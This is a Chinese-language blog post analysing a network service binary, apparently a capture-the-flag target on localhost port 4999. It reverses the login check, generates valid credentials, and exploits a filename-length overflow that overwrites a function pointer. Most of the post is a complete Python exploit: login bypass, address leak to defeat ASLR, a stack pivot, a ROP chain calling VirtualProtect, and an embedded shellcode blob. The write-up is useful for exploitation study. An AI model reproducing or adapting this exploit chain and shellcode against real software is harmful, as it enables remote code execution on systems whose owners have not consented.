YLLEN

要去看埃菲尔铁塔的顶

欢迎关注本人微博:t.cn/RGSLVUk

exploit简单分析

通信协议分析:

登录:

第一次发送 要求字符串长度12,即 3 个字节

  •     dword[0]:     0x10    

  •     dword[1]:     整数X

  •     dword[2]:     整数Y

    第二次发送 字符串

        dword[0]:        0x11

        dword[X+4]:    ':'

IDA反编译后 F5 查看  

   校验过程:

if ( str1 && str0 && a3 >= 4 && a4 > 0 )
  {
    v4 = 0;
    if ( a3 > 0 )
    {
      v5 = str1 - str0;                         // a5 = 长度
      v6 = str0;
      v10 = v5;
      while ( v4 < a4 )                         // 调试时 该循环为假循环
      {
        v7 = *(_BYTE *)(v5 + v6);               // str1
        if ( (v7 < 'A' || v7 > 'Z') && (v7 < 'a' || v7 > 'z') && (unsigned __int8)(v7 - '0') > 9u )
          return 0;
        v8 = *(_BYTE *)v6;                      // str0
        if ( (*(_BYTE *)v6 < 'A' || v8 > 'Z') && (v8 < 'a' || v8 > 'z') && (unsigned __int8)(v8 - '0') > 9u )
          return 0;
        if ( v8 != byte_40A9E4[((unsigned __int8)v7 + ((unsigned int)(unsigned __int8)v7 >> 2)) % 0x3F] )
          return 0;
        ++v4;
        ++v6;
        if ( v4 >= a3 )                         // 只能靠这个出去
          break;
        v5 = v10;
      }
    }
    result = 1;
  }
  else
  {
    result = 0;
  }

   若设X = 4 ,Y = 4 简单分析发送字符串为

\x11\x00\x00\x00    str1   ':'  str0

    校验过程 str1 与 str0 必须是 字母数字

    且 n in str1    m    in  str0

满足 byte_40A9E4[ (n + n / 4) % 0x3F] == m

byte_40A9E4 = 

    'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'

那么登录过程str1 str0 则可以

#include <stdio.h>
int main(int argc, char* argv[])
{

char ukey[] = \

"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
    
for(unsigned char i=0 ; i< 128;i++)    {
    if(( i - '0' <=9 )||( i>='a' && i<='z') || ( i>='A' && i<='Z') )
    {
            char xx = ukey[ (i+ (i/4) ) % 0x3f ];
            printf(" %x %x %c \n", (int)i ,(int)xx,xx);
    }
}

    return 0;
}


    那么从得到结果随便找4个

也就是 str1 = \x77\x78\x79\x7a  str0 =  \x57\x59\x5a\x61

最后发送

\x11\x00\x00\x00     \x77\x78\x79\x7a   ':'   \x57\x59\x5a\x61     OK!


功能分析 (  sub_401150 )

     登录进去

      发现有0x10 0x11 一样

  • 0x20  设置文件名称 

  • 0x21  获取   *(40DA40) 字符串

  • 0x30  读取文件内容 (其中会将 VirtualProtect 地址写入dword_40DA3C变量 )

  • 0x31 写入 接收到的数据到 文件  (调用 sub_401050 )

经过调试 发现


在设置文件名称时,长度为0x10c 时, 会覆盖掉这里的一个函数指针,而这个函数是可以通过

0x31进行调用的, 覆盖之前可以去读取这个地址,那么就可以获得程序基址,这样可以过ASRL,另外需要获取VirtualProtect地址, 那么需要调用 0x30功能,在调用之前,需要设定文件名称调用0x20 ,

        登录

  1. 调用 0x20 写入一个名称

  2. 调用 0x31 发送数据,并写入到文件

  3. 调用 0x30 读取文件内容,获取到API地址

  4. 调用 0x20 写入 0x108个数据

  5. 调用 0x21 读取0x10c个数据,即 获取到 函数指针的值

  6. 调用 0x20  写入 0x10c个数据 覆盖函数指针

  7. 调用 0x31 触发

其中 调试时可以发现 在调用 0x20时, 文件名称字符串 地址在 ebx 中,那么

可以用 xchg esp , ebx 指令 将 esp 调整到可控区域。


最终 EXP:


from socket import *
import struct
import time
HOST='127.0.0.1'
PORT=4999
BUFSIZ=1024
ADDR=(HOST,PORT)
sock = socket(AF_INET,SOCK_STREAM)
sock.connect(ADDR)
buf = '\x10\x00\x00\x00'+'\x04\x00\x00\x00'+'\x04\x00\x00\x00'
sock.sendall(buf)


time.sleep(2)
# login

buff = '\x11\x00\x00\x00'+'\x77\x78\x79\x7a'+':'+'\x57\x59\x5a\x61'
sock.sendall(buff)
print sock.recv(1024)

#set file length

filelength = '\x20\x00\x00\x00'        #set filename length
filelength += '\x10\x00\x00\x00'    # length
filelength += 'A'*0x10                #name
sock.sendall(filelength + '\n')

time.sleep(0.1)

writeFile = '\x31\x00\x00\x00'     #write file        get api
writeFile += '\x20\x00\x00\x00'
writeFile += 'B'*20                #data
sock.sendall(writeFile)
time.sleep(0.1)


readFile = '\x30\x00\x00\x00'     #read file
readFile += '\x20\x00\x00\x00'  #length
sock.sendall(readFile)
print sock.recv(1024), '\n'
time.sleep(0.1)


filelength = '\x20\x00\x00\x00'        #
filelength += '\x08\x01\x00\x00'    # length
filelength += 'T'*0x108                #name
sock.sendall(filelength + '\n')


time.sleep(0.1)


leakaddr = '\x21\x00\x00\x00'        #get val
leakaddr += '\x0c\x01\x00\x00'    # length
sock.sendall(leakaddr + '\n')

s = sock.recv(1024)
rindex = s.rfind("T")
addrMsg = s[(rindex+1):len(s)]
leakAddr = struct.unpack("I",addrMsg)[0]
print 'leak addr:',hex(leakAddr)
BaseAddr = leakAddr & 0xFFFF0000
print 'base addr:' ,hex(BaseAddr)

# RVA 0xDA3C VirtualProtect
# ebx pointer to input buffer
# make (esp) = ebx

Shellcode="\x81\xec\x00\x20\x00\x00\xb8\xf7\x20\xdd\x4a\xdb\xcf\xd9\x74\x24\xf4\x5d\x31\xc9\xb1\x33\x83\xc5\x04\x31\x45\x0e\x03\xb2\x2e\x3f\xbf\xc0\xc7\x36\x40\x38\x18\x29\xc8\xdd\x29\x7b\xae\x96\x18\x4b\xa4\xfa\x90\x20\xe8\xee\x23\x44\x25\x01\x83\xe3\x13\x2c\x14\xc2\x9b\xe2\xd6\x44\x60\xf8\x0a\xa7\x59\x33\x5f\xa6\x9e\x29\x90\xfa\x77\x26\x03\xeb\xfc\x7a\x98\x0a\xd3\xf1\xa0\x74\x56\xc5\x55\xcf\x59\x15\xc5\x44\x11\x8d\x6d\x02\x82\xac\xa2\x50\xfe\xe7\xcf\xa3\x74\xf6\x19\xfa\x75\xc9\x65\x51\x48\xe6\x6b\xab\x8c\xc0\x93\xde\xe6\x33\x29\xd9\x3c\x4e\xf5\x6c\xa1\xe8\x7e\xd6\x01\x09\x52\x81\xc2\x05\x1f\xc5\x8d\x09\x9e\x0a\xa6\x35\x2b\xad\x69\xbc\x6f\x8a\xad\xe5\x34\xb3\xf4\x43\x9a\xcc\xe7\x2b\x43\x69\x63\xd9\x90\x0b\x2e\xb7\x67\x99\x54\xfe\x68\xa1\x56\x50\x01\x90\xdd\x3f\x56\x2d\x34\x04\xa8\x67\x15\x2c\x21\x2e\xcf\x6d\x2c\xd1\x25\xb1\x49\x52\xcc\x49\xae\x4a\xa5\x4c\xea\xcc\x55\x3c\x63\xb9\x59\x93\x84\xe8\x39\x72\x17\x70\x90\x11\x9f\x13\xec"


rop  = struct.pack("L",BaseAddr + 0x1018)            # pop eax # ret
rop += struct.pack("L",BaseAddr + 0xda3c)             # point to VirtualProtect
rop += struct.pack("L",BaseAddr + 0x1024)             # mov eax,[eax] # ret
rop += struct.pack("L",BaseAddr + 0x102f)            # xchg eax,esi # ret esi = VirtualProtect
rop += struct.pack("L",BaseAddr + 0x1022)         # pop ebp # ret
rop += struct.pack("L",BaseAddr + 0x103a)     

                                    # pointer to (push esp ;ret   ||  jmp esp) -> start shellcode

rop += struct.pack("L",BaseAddr + 0x101a)             # pop ebx # ret                
rop += struct.pack("L",0x00400)

rop += struct.pack("L",BaseAddr + 0x101c)             # pop ecx # ret
rop += struct.pack("L",BaseAddr + 0xDA48)             # writable address

rop += struct.pack("L",BaseAddr + 0x1020)             # pop edi # ret
rop += struct.pack("L",BaseAddr + 0x1021)             # retn

rop += struct.pack("L",BaseAddr + 0x101e)             # pop edx # ret
rop += struct.pack("L",0x0040)                     # newProtect

rop += struct.pack("L",BaseAddr + 0x1018)             # pop eax # ret
rop += struct.pack("I",0x90909090) 
        
rop += struct.pack("L",BaseAddr + 0x103e)             # pushad # ret


#
#   op : pushad  retn
#    
#  
#     edi = retn     nop         --- |
#    esi -> vp                    <---|
#     ebp   =  push esp  retn  ( ret addr )
#    esp   = param1
#     ebx   = param2
#     edx   = param3
#    ecx   = param4
#    
#    eax = 90909090

RopChain = rop + Shellcode


chunk = '\x20\x00\x00\x00'        # set file name
chunk += '\x0c\x01\x00\x00'        # length
chunk += 'T'*0x108                #name
chunk += struct.pack("I",BaseAddr + 0x102c)  # xchg esp , ebx    set esp poiter to buff
sock.sendall(chunk + '\n')

time.sleep(0.1)

writeFile = '\x31\x00\x00\x00'     #write file        get api
writeFile += '\x01\x00\x00\x00'
writeFile += RopChain
writeFile += 'B'*1                # any data
sock.sendall(writeFile)

其中 利用 pushad retn 来构造 参数栈 很有意思





评论

© YLLEN | Powered by LOFTER